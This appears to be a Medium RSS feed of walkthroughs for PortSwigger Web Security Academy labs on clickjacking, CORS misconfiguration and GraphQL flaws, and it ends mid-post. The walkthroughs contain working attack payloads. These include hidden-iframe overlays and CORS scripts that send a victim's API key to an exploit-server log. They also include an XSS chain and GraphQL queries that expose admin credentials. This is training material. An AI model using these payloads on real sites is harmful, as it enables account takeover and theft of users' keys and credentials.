<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by awes0meness on Medium]]></title>
        <description><![CDATA[Stories by awes0meness on Medium]]></description>
        <link>https://medium.com/@awes0me.writes?source=rss-1fd57f472c27------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*Q0q7p2qolfrAuv5R</url>
            <title>Stories by awes0meness on Medium</title>
            <link>https://medium.com/@awes0me.writes?source=rss-1fd57f472c27------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 17:22:39 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@awes0me.writes/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[PortSwigger Labs: Clickjacking (UI Redressing) Writeup (ALL LABS)]]></title>
            <link>https://medium.com/@awes0me.writes/portswigger-labs-clickjacking-ui-redressing-writeup-all-labs-ba5488095e99?source=rss-1fd57f472c27------2</link>
            <guid isPermaLink="false">https://medium.com/p/ba5488095e99</guid>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[burpsuite]]></category>
            <dc:creator><![CDATA[awes0meness]]></dc:creator>
            <pubDate>Tue, 04 Nov 2025 02:21:42 GMT</pubDate>
            <atom:updated>2025-11-04T02:21:42.216Z</atom:updated>
            <content:encoded><![CDATA[<h3>I. <strong>Basic clickjacking with CSRF token protection</strong></h3><p>This lab contains login functionality and a delete account button that is protected by a CSRF token. A user will click on elements that display the word “click” on a decoy website.</p><p>To solve the lab, craft some HTML that frames the account page and fools the user into deleting their account. The lab is solved when the account is deleted.</p><p>You can log in to your own account using the following credentials:</p><p>wiener:peter</p><p>Note<br>The victim will be using Chrome so test your exploit on that browser.</p><h3>Solution</h3><p>1. Login with the given credentials, wiener:peter<br>2. Navigate to the exploit server and paste the following below in the body section:</p><pre>&lt;style&gt;<br>    iframe {<br>        position:relative;<br>        width:$width_value;<br>        height: $height_value;<br>        opacity: $opacity;<br>        z-index: 2;<br>    }<br>    div {<br>        position:absolute;<br>        top:$top_value;<br>        left:$side_value;<br>        z-index: 1;<br>    }<br>&lt;/style&gt;<br>&lt;div&gt;Test me&lt;/div&gt;<br>&lt;iframe src=&quot;YOUR-LAB-ID.web-security-academy.net/my-account&quot;&gt;&lt;/iframe&gt;</pre><blockquote>3. Adjust the following:<br> — height_value: 700px<br> — width_value: 500px<br> — top_value: 300px<br> — side_value: 60px<br> — opacity: 0.0001<br> — add your lab ID</blockquote><p>4. Final payload:</p><pre>&lt;style&gt;<br>    iframe {<br>        position:relative;<br>        width:500px;<br>        height:700px;<br>        opacity: 0.0001;<br>        z-index: 2;<br>    }<br>    div {<br>        position:absolute;<br>        top:300px;<br>        left:60px;<br>        z-index: 1;<br>    }<br>&lt;/style&gt;<br>&lt;div&gt;Test me&lt;/div&gt;<br>&lt;iframe src=&quot;https://0a2900080462f58781a720c80062004f.web-security-academy.net/my-account&quot;&gt;&lt;/iframe&gt;</pre><p>5. click store -&gt; view exploit -&gt; hover over `<strong>Test me</strong>` and check if the cursor changed to a hand. *<strong>DO NOT CLICK*</strong>, adjust properties if the cursor did not change to a hand</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*U8klQXKeSF_ZPVKrVot07Q.png" /></figure><p>6. If you accidentally clicked it (like what i did lol) the lab gets broken and you won’t be able to successfully deliver exploit to victim, wait for the lab to reset then try once again. Once the cursor changed to a hand, go back to the exploit server, change “Test me” to “Click me” -&gt; Store -&gt; Deliver exploit to victim to solve lab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*KhBZsBlTZfyE13O_Ya42XA.png" /></figure><p>7. I noticed the lab got solved when I kept adjusting the dimensions and remove the absolute value `<strong>$</strong>`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*N-R96IBHxenI_crzi8bgbQ.png" /></figure><h3>II. Clickjacking with form input data prefilled from a URL parameter</h3><p>This lab extends the basic clickjacking example in Lab: Basic clickjacking with CSRF token protection. The goal of the lab is to change the email address of the user by prepopulating a form using a URL parameter and enticing the user to inadvertently click on an “Update email” button.</p><p>To solve the lab, craft some HTML that frames the account page and fools the user into updating their email address by clicking on a “Click me” decoy. The lab is solved when the email address is changed.</p><p>You can log in to your own account using the following credentials:</p><p>wiener:peter</p><p>Note<br>The victim will be using Chrome so test your exploit on that browser.</p><p>Hint<br>You cannot register an email address that is already taken by another user. If you change your own email address while testing your exploit, make sure you use a different email address for the final exploit you deliver to the victim.</p><h3>Solution</h3><p>1. Login with the given credentials, wiener:peter<br>2. Open the exploit server and add the following below in the body section:</p><pre>&lt;style&gt;<br>    iframe {<br>        position:relative;<br>        width:$width_value;<br>        height: $height_value;<br>        opacity: $opacity;<br>        z-index: 2;<br>    }<br>    div {<br>        position:absolute;<br>        top:$top_value;<br>        left:$side_value;<br>        z-index: 1;<br>    }<br>&lt;/style&gt;<br>&lt;div&gt;Test me&lt;/div&gt;<br>&lt;iframe src=&quot;YOUR-LAB-ID.web-security-academy.net/my-account?email=hacker@attacker-website.com&quot;&gt;&lt;/iframe&gt;</pre><blockquote>3. Modify the following:<br> — width_value: 500px<br> — height_value: 700px<br> — opacity: 0.0001<br> — top_value: 400px<br> — side_value: 80px<br> — YOUR LAB ID</blockquote><p>4. Should look something like:</p><pre>&lt;style&gt;<br>    iframe {<br>        position:relative;<br>        width:500px;<br>        height: 700px;<br>        opacity: 0.0001;<br>        z-index: 2;<br>    }<br>    div {<br>        position:absolute;<br>        top:400px;<br>        left:80px;<br>        z-index: 1;<br>    }<br>&lt;/style&gt;<br>&lt;div&gt;Test me&lt;/div&gt;<br>&lt;iframe src=&quot;https://0aba00090305704e809d0d9100ce00ad.web-security-academy.net/my-account?email=hacker@attacker-website.com&quot;&gt;&lt;/iframe&gt;</pre><p>5. click store -&gt; view exploit -&gt; hover over `<strong>Test me</strong>` and check if the cursor changed to a hand. *<strong>DO NOT CLICK</strong>*, adjust properties if the cursor did not change to a hand</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*24afxk0ddjfYSIUJD0SkpQ.png" /></figure><p>6. Now change test me to “CLICK ME”, change the email address from the first one, deliver exploit to victim then the lab gets automatically solved</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*WaWjEZx7I8KpRmZX58bjJw.png" /></figure><h3>III. <strong>Clickjacking with a frame buster script</strong></h3><p>This lab is protected by a frame buster which prevents the website from being framed. Can you get around the frame buster and conduct a clickjacking attack that changes the users email address?</p><p>To solve the lab, craft some HTML that frames the account page and fools the user into changing their email address by clicking on “Click me”. The lab is solved when the email address is changed.</p><p>You can log in to your own account using the following credentials:</p><p>wiener:peter</p><p>Note<br>The victim will be using Chrome so test your exploit on that browser.</p><p>Hint<br>You cannot register an email address that is already taken by another user. If you change your own email address while testing your exploit, make sure you use a different email address for the final exploit you deliver to the victim.</p><h3>Solution</h3><p>1. Login with the given credentials, wiener:peter<br>2. Open the exploit server and add the following below in the body section:</p><pre>&lt;style&gt;<br>    iframe {<br>        position:relative;<br>        width:$width_value;<br>        height: $height_value;<br>        opacity: $opacity;<br>        z-index: 2;<br>    }<br>    div {<br>        position:absolute;<br>        top:$top_value;<br>        left:$side_value;<br>        z-index: 1;<br>    }<br>&lt;/style&gt;<br>&lt;div&gt;Test me&lt;/div&gt;<br>&lt;iframe sandbox=&quot;allow-forms&quot;<br>src=&quot;https://YOUR-LAB-ID.web-security-academy.net/my-account?email=hacker@attacker-website.com&quot;&gt;&lt;/iframe&gt;</pre><blockquote>3. Modify the following:<br> — width_value: 500px<br> — height_value: 700px<br> — opacity: 0.0001<br> — top_value: 385px<br> — side_value: 80px<br> — YOUR LAB ID</blockquote><p>4. Should look something like:</p><pre>&lt;style&gt;<br>    iframe {<br>        position:relative;<br>        width:500px;<br>        height: 700px;<br>        opacity: 0.0001;<br>        z-index: 2;<br>    }<br>    div {<br>        position:absolute;<br>        top:385px;<br>        left:80px;<br>        z-index: 1;<br>    }<br>&lt;/style&gt;<br>&lt;div&gt;Test me&lt;/div&gt;<br>&lt;iframe sandbox=&quot;allow-forms&quot;<br>src=&quot;https://0aad00de04071d7e813de32800cf0044.web-security-academy.net/my-account?email=hacker@attacker-website.com&quot;&gt;&lt;/iframe&gt;</pre><p>5. click store -&gt; view exploit -&gt; hover over `<strong>Test me</strong>` and check if the cursor changed to a hand. *<strong>DO NOT CLICK</strong>*, adjust properties if the cursor did not change to a hand</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*s_-k9L5lRKLicUJtR7g6bw.png" /></figure><p>6. Keep adjusting the <strong>top_value</strong> and <strong>side_value</strong> until it finally aligns with the “<strong>Login</strong>” Button</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*_l_et7-iW6w0w_5odqgKiw.png" /></figure><p>7. Make sure to attain something like the one below, I simply adjusted to the following: <strong>top:460px</strong> and <strong>left:65px</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*ZOGnjvfGj4EG5rL1vXh1_w.png" /></figure><p>8. Now change test me to “CLICK ME”, change the email address from the first one, store -&gt; deliver exploit to victim then the lab gets automatically solved</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*wnae9Q3DLiXAnp_pTeLltw.png" /></figure><h3>IV. Exploiting clickjacking vulnerability to trigger DOM-based XSS</h3><p>This lab contains an XSS vulnerability that is triggered by a click. Construct a clickjacking attack that fools the user into clicking the “Click me” button to call the print() function.</p><p>Note<br>The victim will be using Chrome so test your exploit on that browser.</p><h3>Solution</h3><p>1. Look for potential endpoints that may have XSS vulnerabilities</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*pKHaX0Yc_67L9IDVHaPWUA.png" /></figure><p>2. Navigate to the exploit server and input the following in the body section:</p><pre>&lt;style&gt;<br> iframe {<br>  position:relative;<br>  width:$width_value;<br>  height: $height_value;<br>  opacity: $opacity;<br>  z-index: 2;<br> }<br> div {<br>  position:absolute;<br>  top:$top_value;<br>  left:$side_value;<br>  z-index: 1;<br> }<br>&lt;/style&gt;<br>&lt;div&gt;Test me&lt;/div&gt;<br>&lt;iframe<br>src=&quot;https://YOUR-LAB-ID.web-security-academy.net/feedback?name=&lt;img src=1 onerror=print()&gt;&amp;email=hacker@attacker-website.com&amp;subject=test&amp;message=test#feedbackResult&quot;&gt;&lt;/iframe&gt;</pre><blockquote>3. Modify the following:<br> — width_value: 500px<br> — height_value: 700px<br> — opacity: 0.1<br> — top_value: 600px<br> — side_value: 80px<br> — YOUR LAB ID</blockquote><p>4. Should look something like:</p><pre>&lt;style&gt;<br> iframe {<br>  position:relative;<br>  width:500px;<br>  height: 700px;<br>  opacity: 0.1;<br>  z-index: 2;<br> }<br> div {<br>  position:absolute;<br>  top:600px;<br>  left:80px;<br>  z-index: 1;<br> }<br>&lt;/style&gt;<br>&lt;div&gt;Test me&lt;/div&gt;<br>&lt;iframe<br>src=&quot;https://0a29009c03d96019802903b600dd00d8.web-security-academy.net/feedback?name=&lt;img src=1 onerror=print()&gt;&amp;email=hacker@attacker-website.com&amp;subject=test&amp;message=test#feedbackResult&quot;&gt;&lt;/iframe&gt;</pre><p>5. Click store -&gt; View exploit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*trub8Me-Mx8jqBibNlxQZQ.png" /></figure><p>6. Notice that the “<strong>Test me</strong>” should be approximately in-line with the “<strong>Submit feedback</strong>” button. Press back -&gt; adjust top or left position until you get an approximate alignment. Here, I just adjusted the <strong>top to 615px</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*k18RVFDpb-VLdpIiepO0vQ.png" /></figure><p>7. Modify the “Test me” in the exploit server to “CLICK ME” -&gt; Store -&gt; Deliver exploit to victim to solve this lab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*_9WypSoobXCIioCUdAac5w.png" /></figure><h3>V. Multistep clickjacking</h3><p>This lab has some account functionality that is protected by a CSRF token and also has a confirmation dialog to protect against Clickjacking. To solve this lab construct an attack that fools the user into clicking the delete account button and the confirmation dialog by clicking on “Click me first” and “Click me next” decoy actions. You will need to use two elements for this lab.</p><p>You can log in to the account yourself using the following credentials:</p><p>wiener:peter</p><p>Note<br>The victim will be using Chrome so test your exploit on that browser.</p><h3>Solution</h3><p>1. Login with the given credentials, wiener:peter<br>2. Navigate to the exploit server and input the following in the body:</p><pre>&lt;style&gt;<br> iframe {<br>  position:relative;<br>  width:$width_value;<br>  height: $height_value;<br>  opacity: $opacity;<br>  z-index: 2;<br> }<br>   .firstClick, .secondClick {<br>  position:absolute;<br>  top:$top_value1;<br>  left:$side_value1;<br>  z-index: 1;<br> }<br>   .secondClick {<br>  top:$top_value2;<br>  left:$side_value2;<br> }<br>&lt;/style&gt;<br>&lt;div class=&quot;firstClick&quot;&gt;Test me first&lt;/div&gt;<br>&lt;div class=&quot;secondClick&quot;&gt;Test me next&lt;/div&gt;<br>&lt;iframe src=&quot;https://YOUR-LAB-ID.web-security-academy.net/my-account&quot;&gt;&lt;/iframe&gt;</pre><blockquote>3. Modify the following:<br> — width_value: 500px<br> — height_value: 700px<br> — opacity: 0.1<br> — top_value1: 330px<br> — side_value1: 50px<br> — top_value2: 280px<br> — side_value2: 220px<br> — YOUR LAB ID</blockquote><p>4. Should look something like:</p><pre>&lt;style&gt;<br> iframe {<br>  position:relative;<br>  width:500px;<br>  height: 700px;<br>  opacity: 0.1;<br>  z-index: 2;<br> }<br>   .firstClick, .secondClick {<br>  position:absolute;<br>  top:330px;<br>  left:50px;<br>  z-index: 1;<br> }<br>   .secondClick {<br>  top:280px;<br>  left:220px;<br> }<br>&lt;/style&gt;<br>&lt;div class=&quot;firstClick&quot;&gt;Test me first&lt;/div&gt;<br>&lt;div class=&quot;secondClick&quot;&gt;Test me next&lt;/div&gt;<br>&lt;iframe src=&quot;https://0a6b00d20351630380740d7700f600a9.web-security-academy.net/my-account&quot;&gt;&lt;/iframe&gt;</pre><p>5. click store -&gt; view exploit -&gt; hover over `<strong>Test me</strong>` and check if the cursor changed to a hand. *<strong>DO NOT CLICK</strong>*, adjust properties if the cursor did not change to a hand</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*GnuwD4hjSpRoVW38-BIqYQ.png" /></figure><p>6. Adjust parameters and if we already have the desired placing, modify test me first and test me next to “CLICK ME FIRST” and “CLICK ME NEXT” -&gt; Store -&gt; Deliver exploit to victim to solve this lab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*0wrwKbJMAqGrTitCQchluA.png" /></figure><p>7. What I did here is I had to align the CLICK me first with “DELETE ACCOUNT”, then a pop up of YES should be aligned with “CLICK ME NEXT”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*ueJxz2SdILA5LQlx-3N5XA.png" /></figure><p>8. I did it manually by adjusting position values and even sticking a piece of paper in my monitor since we can see in step #5 that the login page is the only one shown for basis.<br>9. Final parameters were:</p><pre>&lt;style&gt;<br> iframe {<br>  position:relative;<br>  width:500px;<br>  height: 700px;<br>  opacity: 0.1;<br>  z-index: 2;<br> }<br>   .firstClick, .secondClick {<br>  position:absolute;<br>  top:493px;<br>  left:50px;<br>  z-index: 1;<br> }<br>   .secondClick {<br>  top:290px;<br>  left:180px;<br> }<br>&lt;/style&gt;<br>&lt;div class=&quot;firstClick&quot;&gt;CLICK ME FIRST&lt;/div&gt;<br>&lt;div class=&quot;secondClick&quot;&gt;CLICK ME NEXT&lt;/div&gt;<br>&lt;iframe src=&quot;https://0a6b00d20351630380740d7700f600a9.web-security-academy.net/my-account&quot;&gt;&lt;/iframe&gt;</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ba5488095e99" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PortSwigger Labs: Cross-Origin Resource Sharing (CORS) Writeup (ALL LABS)]]></title>
            <link>https://medium.com/@awes0me.writes/portswigger-labs-cross-origin-resource-sharing-cors-writeup-all-labs-2cc61c6044f1?source=rss-1fd57f472c27------2</link>
            <guid isPermaLink="false">https://medium.com/p/2cc61c6044f1</guid>
            <category><![CDATA[burpsuite]]></category>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[awes0meness]]></dc:creator>
            <pubDate>Tue, 04 Nov 2025 02:10:48 GMT</pubDate>
            <atom:updated>2025-11-04T02:10:48.749Z</atom:updated>
            <content:encoded><![CDATA[<h3>I. <strong>CORS vulnerability with basic origin reflection</strong></h3><p>This website has an insecure CORS configuration in that it trusts all origins.</p><p>To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator’s API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator’s API key.</p><p>You can log in to your own account using the following credentials:</p><p>wiener:peter</p><h3>Solution</h3><p>1. login with the given credentials, wiener:peter<br>2. Analyze Burp Suite HTTP History results, in the `<strong>GET /accountDetails</strong>` request, we can see that the response header has something called `<strong>Access-Control-Allow-Credentials</strong>` indicating that it may support CORS, send this request to Repeater</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pjksRmlbfLhlnFzv0vYQaw.png" /></figure><p>3. Add the following header in the request to further test for CORS</p><pre>Origin: test.com</pre><p>4. After sending the request, notice the response has a new header called `<strong>Access-Control-Allow-Origin</strong>` which reflected our request header</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RAyI80F9aSrZn5FN3jKjHQ.png" /></figure><p>5. Navigate to the Exploit Server then input the following in the Body section:</p><pre>&lt;script&gt;<br>    var req = new XMLHttpRequest();<br>    req.onload = reqListener;<br>    req.open(&#39;get&#39;,&#39;YOUR-LAB-ID.web-security-academy.net/accountDetails&#39;,true);<br>    req.withCredentials = true;<br>    req.send();<br><br>    function reqListener() {<br>        location=&#39;/log?key=&#39;+this.responseText;<br>    };<br>&lt;/script&gt;</pre><p>6. It should look something like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UgwpSrMQn3XNWE3tp4-X1w.png" /></figure><p>7. Click Deliver exploit to victim -&gt; Then check the access log, in the access log, we got the subdomain for the administrator’s account</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NMXEK6bmKu5V9oEMSgnlVQ.png" /></figure><p>8. Copy the subdomain, then paste it to Burp Suite Decoder -&gt; Decode as URL</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HtJXvcL--roB5CjPZSpWhw.png" /></figure><p>9. We now get the apikey of the administrator, submitting this api key will solve the lab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AurZZf3GykPOtglGLpSh2A.png" /></figure><h3>II. <strong>CORS vulnerability with trusted null origin</strong></h3><p>This website has an insecure CORS configuration in that it trusts the “null” origin.</p><p>To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator’s API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator’s API key.</p><p>You can log in to your own account using the following credentials:</p><p>wiener:peter</p><h3>Solution</h3><p>1. Login with the given credentials, wiener:peter<br>2. Analyze Burp Suite HTTP History results, in the `<strong>GET /accountDetails</strong>` request, we can see that the response header has something called `<strong>Access-Control-Allow-Credentials</strong>` indicating that it may support CORS, send this request to Repeater</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bRY46K-hOXEoVYjk_CyjrA.png" /></figure><p>3. Add a new header to the request, `<strong>Origin:null</strong>`, then send request. Notice that it is now reflected in the response as the `<strong>Access-Control-Allow-Origin</strong>`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WO90Z2FYIi9slSfYT3bhIQ.png" /></figure><p>4. Navigate to the exploit server then input the following in the body, we’ll be using an iframe sandbox as this generates a null origin request:</p><pre>&lt;iframe sandbox=&quot;allow-scripts allow-top-navigation allow-forms&quot; srcdoc=&quot;&lt;script&gt;<br>    var req = new XMLHttpRequest();<br>    req.onload = reqListener;<br>    req.open(&#39;get&#39;,&#39;YOUR-LAB-ID.web-security-academy.net/accountDetails&#39;,true);<br>    req.withCredentials = true;<br>    req.send();<br>    function reqListener() {<br>        location=&#39;YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key=&#39;+encodeURIComponent(this.responseText);<br>    };<br>&lt;/script&gt;&quot;&gt;&lt;/iframe&gt;</pre><p>5. Should look something like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wifsGr_TQAz9V7KmTDw_kA.png" /></figure><p>6. Click deliver exploit to victim -&gt; then check the access log, a long string of URL encoded subdomain shows up which also has the apikey for the administrator</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SY-6Ylb3zq5F7XAUTSjtNQ.png" /></figure><p>7. Copy the link then paste it in Burp Suite Decoder -&gt; Decode as URL</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ib0al4Pw9yB27cKNuAQqow.png" /></figure><p>8. We now got the apikey, submitting this key solves the lab<br> “<strong>apikey”: “hsHwfmaea8q9UQiOjsErO8xkRaVrQ5Vz</strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dDIPeA3a66oAcoFpPkR_Lg.png" /></figure><h3>III. <strong>CORS vulnerability with trusted insecure protocols</strong></h3><p>This website has an insecure CORS configuration in that it trusts all subdomains regardless of the protocol.</p><p>To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator’s API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator’s API key.</p><p>You can log in to your own account using the following credentials:</p><p>wiener:peter</p><p>Hint<br>If you could man-in-the-middle attack (MITM) the victim, you could use a MITM attack to hijack a connection to an insecure subdomain, and inject malicious JavaScript to exploit the CORS configuration. Unfortunately in the lab environment, you can’t MITM the victim, so you’ll need to find an alternative way of injecting JavaScript into the subdomain.</p><h3>Solution</h3><p>1. Login with the given credentials, <strong>wiener:peter</strong><br>2. Analyze Burp Suite HTTP History results, in the `<strong>GET /accountDetails</strong>` request, we can see that the response header has something called `<strong>Access-Control-Allow-Credentials</strong>` indicating that it may support CORS, send this request to Repeater</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JAs6W4rm4BxXFqynSeuSrw.png" /></figure><p>3. Modify the request header, add a new header: <strong>`Origin: </strong><a href="https://subdomain.your-lab-id`/"><strong>https://subdomain.YOUR-lab-id`</strong></a></p><p>4. Success, it got reflected in the response. This confirms that the CORS configuration allows access from other subdomains</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ivvn5ZVNzMlMuZBkOlWAlw.png" /></figure><p>5. Navigate to Home -&gt; open any product -&gt; Check stock, notice that it is loaded using an HTTP URL on a subdomain</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rhI-dWJLJa9XhUGVOMRodw.png" /></figure><p>6. Notice that the productId might also be vulnerable to XSS<br>7. Click “<strong>Go to exploit server</strong>” and add the following payload in the body</p><pre>&lt;script&gt;<br>    document.location=&quot;http://stock.YOUR-LAB-ID.web-security-academy.net/?productId=4&lt;script&gt;var req = new XMLHttpRequest(); req.onload = reqListener; req.open(&#39;get&#39;,&#39;https://YOUR-LAB-ID.web-security-academy.net/accountDetails&#39;,true); req.withCredentials = true;req.send();function reqListener() {location=&#39;https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key=&#39;%2bthis.responseText; };%3c/script&gt;&amp;storeId=1&quot;<br>&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O3fek-6vG6vz02_RRB_krQ.png" /></figure><p>8. Click deliver exploit to victim -&gt; then check the access log, a long string of URL encoded subdomain shows up which also has the apikey for the administrator</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*62XzFcVwaYtMVwox0E1Rqw.png" /></figure><p>9. Copy the link then paste it in Burp Suite Decoder -&gt; Decode as URL</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gw1WHq80Lsy6Bq6OledpBQ.png" /></figure><p>10. We now got the apikey, submitting this key solves the lab<br>“<strong>apikey”: “KYBuXGMKerHzHIImYbvYSDrBIrg4DzMT</strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sPOpUzwZIxiUtIsaeHH9WQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2cc61c6044f1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PortSwigger Labs: GraphQL API Vulnerabilities Writeup (ALL LABS)]]></title>
            <link>https://medium.com/@awes0me.writes/portswigger-labs-graphql-api-vulnerabilities-writeup-all-labs-a47f1a7d12cf?source=rss-1fd57f472c27------2</link>
            <guid isPermaLink="false">https://medium.com/p/a47f1a7d12cf</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[burpsuite]]></category>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[portswigger]]></category>
            <dc:creator><![CDATA[awes0meness]]></dc:creator>
            <pubDate>Tue, 04 Nov 2025 02:10:07 GMT</pubDate>
            <atom:updated>2025-11-04T02:10:07.546Z</atom:updated>
            <content:encoded><![CDATA[<h3>I. <strong>Accessing private GraphQL posts</strong></h3><p>The blog page for this lab contains a hidden blog post that has a secret password. To solve the lab, find the hidden blog post and enter the password.</p><p>Learn more about Working with GraphQL in Burp Suite.</p><h3>Solution</h3><p>1. Navigate to the blog page and try to view posts. Then analyze Burp Suite HTTP History.<br>2. In proxy history, we can observe the following:<br> — GraphQL queries are used in retrieving blog posts<br> — GraphQL query responses have `<strong>id</strong>`<br> — Blog post query id number 3 is missing</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*k22rlqotg20Ki4q7PJHDSA.png" /></figure><p>3. Send the `<strong>POST /graphql/v1</strong>` request to Repeater<br>4. In repeater, right click -&gt; GraphQL -&gt; Set introspection query to insert an introspection query into the request body</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*Bhtg5MHmQT2VjO4kRkXhvw.png" /></figure><p>5. Send the request. Notice in the response that `<strong>Blogpost</strong>` has a `<strong>postPassword</strong>` field</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*nXk8F_KXG2TAKAV3wGjdTQ.png" /></figure><p>6. Navigate back to HTTP History then send the `<strong>POST /graphql/v1</strong>` request to repeater again<br>7. In Repeater, click the GraphQL tab then modify the following:<br> — getAllBlogPosts -&gt; getBlogPost<br> — add id variable to 3 after getBlogPost<br> — add `<strong>postPassword</strong>`<br> — Send</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*3xVJc_V210I1grSsVOccYQ.png" /></figure><p>8. We now get the postPassword for id 3 which is: `<strong>93g4j01uzzg3w91j4o1cwpuplnw5ovo5</strong>`<br>9. Submit this solution in the lab webpage to solve the lab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*Tul66xYws2kVieGv2VWI4Q.png" /></figure><p>II. <strong>Accidental exposure of private GraphQL fields</strong></p><p>The user management functions for this lab are powered by a GraphQL endpoint. The lab contains an access control vulnerability whereby you can induce the API to reveal user credential fields.</p><p>To solve the lab, sign in as the administrator and delete the username carlos.</p><p>Learn more about Working with GraphQL in Burp Suite.</p><h3>Solution</h3><p>1. Navigate to My account then try to login with a test username and password<br>2. Check Burp Suite HTTP History, notice we get a graphql endpoint after pressing My account, send this request to the repeater</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*P3mcTxEd89Hvk7LhWOtRDA.png" /></figure><p>3. Install <strong>InQL </strong>extension from the BApp store, Right click -&gt; Copy URL -&gt; paste the URL in inQL extension</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*DGB6mdzQ2uPnDwMb_yJg1w.png" /></figure><p>4. Expand Queries -&gt; get user, we get the query for getting any user -&gt; copy all the query</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*MgUyIW-9pAyMxGeTHKForg.png" /></figure><p>5. In repeater, select the GraphQL tab -&gt; paste what you copied -&gt; <strong>modify Int! to 1</strong>, send request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*o4T_eOno3mas2iEyW_OONA.png" /></figure><p>6. We now got the credentials for the user <br><strong>administrator:g0e5dw0hk1mz7ov2bgx7</strong></p><p>7. Login with the obtained administrator credentials -&gt; Admin panel -&gt; Delete user carlos to solve the lab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*F7h_El90obDNMewZgdicPQ.png" /></figure><h3>III. <strong>Finding a hidden GraphQL endpoint</strong></h3><p>The user management functions for this lab are powered by a hidden GraphQL endpoint. You won’t be able to find this endpoint by simply clicking pages in the site. The endpoint also has some defenses against introspection.</p><p>To solve the lab, find the hidden endpoint and delete carlos.</p><p>Learn more about Working with GraphQL in Burp Suite.</p><h3>Solution</h3><p>1. Visit web application then try to navigate all the pages, notice that there are no graphql endpoints seen in HTTP History</p><figure><img alt="" 